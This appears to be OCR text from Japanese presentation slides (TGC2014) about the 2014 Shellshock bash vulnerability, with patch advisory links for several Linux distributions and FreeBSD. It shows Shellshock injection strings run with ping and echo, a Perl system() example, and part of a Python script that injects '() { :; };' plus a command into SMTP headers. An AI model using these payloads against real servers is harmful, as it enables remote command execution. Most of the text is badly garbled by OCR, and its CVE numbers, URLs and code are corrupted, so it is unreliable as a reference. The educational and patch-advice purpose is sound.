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$ env x='(){:} ping 8.8.8.8 bash
SHFDED T, RIELH x [CHEsetZFHUEEI. “ping 8.8.8.8” ZE{T9 5L SETE-

;1; ping 8.8.8.8 bash
Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8. 8_ bytes=32 time=dms TTL=57 I%iﬁgiﬂxh—_ljtb‘%y$§quo)
Reply from 8 8 8 8: bytesc3? e =7 Ping 8.8.8. 8WEITEIN TN,
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Ping statistics for 8.8.8.8:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 5ms, Maximum = 6ms, Average = 5ms
bash-3.1$




IRIBEZ D ECHER?
~BRIEZHTCT7 U -3y aEET~
BashDIREZHMIIEZTENNTBD?

“WEB”7U4s—> 3>
.-%%%)WEB??U r—av(cghld. Yxlb(bash)zE->T. &@LU

C
ZDEOBCGEICHLT, WEEN, “I-—H-—T—I1VNZH{lTLT
Zli'ésdﬂ—/\—i?“1£%%}%7 J 7&%??’@%‘5%’90

b - i
I
L
E
Q
e
'O
1™
whmd
w1

<
W oSy BRTRISITORNE 1T UL b LT,
RN R 2 A L S S e .
B bashicfaz 31 5
fag -1 —-Y—I-J12hEUT IEED, Chrome&W S TeXXFIIDD

P
‘0 { ) ping 8.8.8.8
Q%:i(:ﬁ”)ﬁb‘ﬂ(i\ UE—DS, U=NDERD7 TUZETT

TGC2014



TGC2014

P il

RRRHDEHTER ?
~RIBEHCT TV T —Y 3 U EFRT~

WEB7Z 77U —3>(2)
PerlPphp TR ENFEWEB? U —2 3V THH>TH, D7 TU NS,

%%de)shell( =/bin/bash)ZE{79 51— RAA>TLNIE. BEIROSEN

fl) system BEERIC KB EITP. TICKBDEIT

E
o

-

L
™y

Ly -
0
o
.
o
L=
]
>

1 o h
s )
Wi
L
~Q
o
=
E

] O
L O
(@)
e
i |
ot
<L
:‘.:_E
£
o
o
el
v

pcl:"% cat test.pl
#/usr/local/bin/per|

system (“bash -¢ "echo hogex0" ) !
print echo hoge*l ;

pcT:"% perl test.pl
hogex*0
hogex*1
pcl: ™%
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s.connect((rhost, rport))

# banner grab
s.recv(2048%4)

def netFormat(d):
d += "\n"
return d.encode( hex').decode( "hex')

.1m data = netFormat("mail from:<:>")
s.send(data)

s.recy(2048%4)

\J
et DHCP U /\ data = netFormat(“”rcpt to:<nobody>")

s.send(data)

¢ 7 7 4 ) Ij / \“ :.;‘:c:(ii::ir)nat("data")
» ~ W s.send(data)
>bashHiELHDIFITT !

dffta = *°
fgr h in headers:
data += netFormat(h + ":() { :; };" + cmd)
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*ﬂ: EZ'FE V7V TTF—b (716900 E&HY)) HHfcDTEA

\ 0—“ — Linix F42 b JE 2= 20 bash £, AEHSREERIIFE (o TI‘
‘_ ‘J 7 ) BRB31E (CVE-2014-627)H 8RS S LT, W
BEEAEL LD, ERT Y 77— R ERELLELET, lfﬂ.

http:/fweb. nvd.nist. gov/view/vuln/deta il ?vulnld=CVE-2014-2568

\ .
od: b) ﬁt}]i’d:ll‘ﬁ$ﬁ%..a1ﬂ: bt < éA $(C. bashE2L
Cent0S http://centosnow.blozspot. ip/2014/09/critical-bash-updat:

Redhat/Fedora https://buzzilla. redhat.com/show bus.cei?id=CV¥E-20"

.F b d%ﬂﬁgglléh 5%7)\ ij’Lj (U RL Ubuntu htte:Awww . ubuntu. comfusn/usn-2362-1/

ree S % b =¥- Debian https:/Awww.debian.ore/security/2014/dsa-3032

! j=¥') Mac0S

o — OBEE, BRI Ty IF—HEECLY, =Y Ty IE
R LET.,

o LSEMURLDNist URLAEE> TS !
.CVE-201 4-71 69:E)Hjt% $ b remotely exploitable vulnerability has been reported in bash o

You will need to patch ASAP

—|
o ( b (L_ < L\L\Hl I/\% jéA http:/Aweb.nvd.nist . gov/view/vuln/detail ?vulnld=CY¥E-2014-2568

62710MFEE LIS, 71690BREATER
LD, 7169121FAhEN 2. BEIATNGL), VRV CERDD RIS =,

TEHWLECEYHYELLLOT, EELELET. =

| — ) Correct a wrong URL reference on the previous mail as the below. .
.gé( ?—-I- < A 2\ 0O @%Aﬁ % I]*l_ hitp://web.nvd. nist. sov/vien/vuln/detail ?vulnld=CVYE-2014-8271 lfi 4
C J ] = LJ

Fh, &08(CT. BashFE A TvAE, CHEESBLLET.

H L\) [t wour operating svstem has GNU bash, wou should check and update if need.

FreeBSD MBS 7 For FreeBSD users,

i ® U Z 7 _:|:1ﬁ?=¥-7a~b\h\ b BaSh %;??TT(L http://portaudit.freebsd. ora/71ad8lda-4414-11e4-a33e-3c970e169bc2 hinl
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T

rv o==" (3 { 3} echo wulnerable’ bash -c¢ "echo this is a test”
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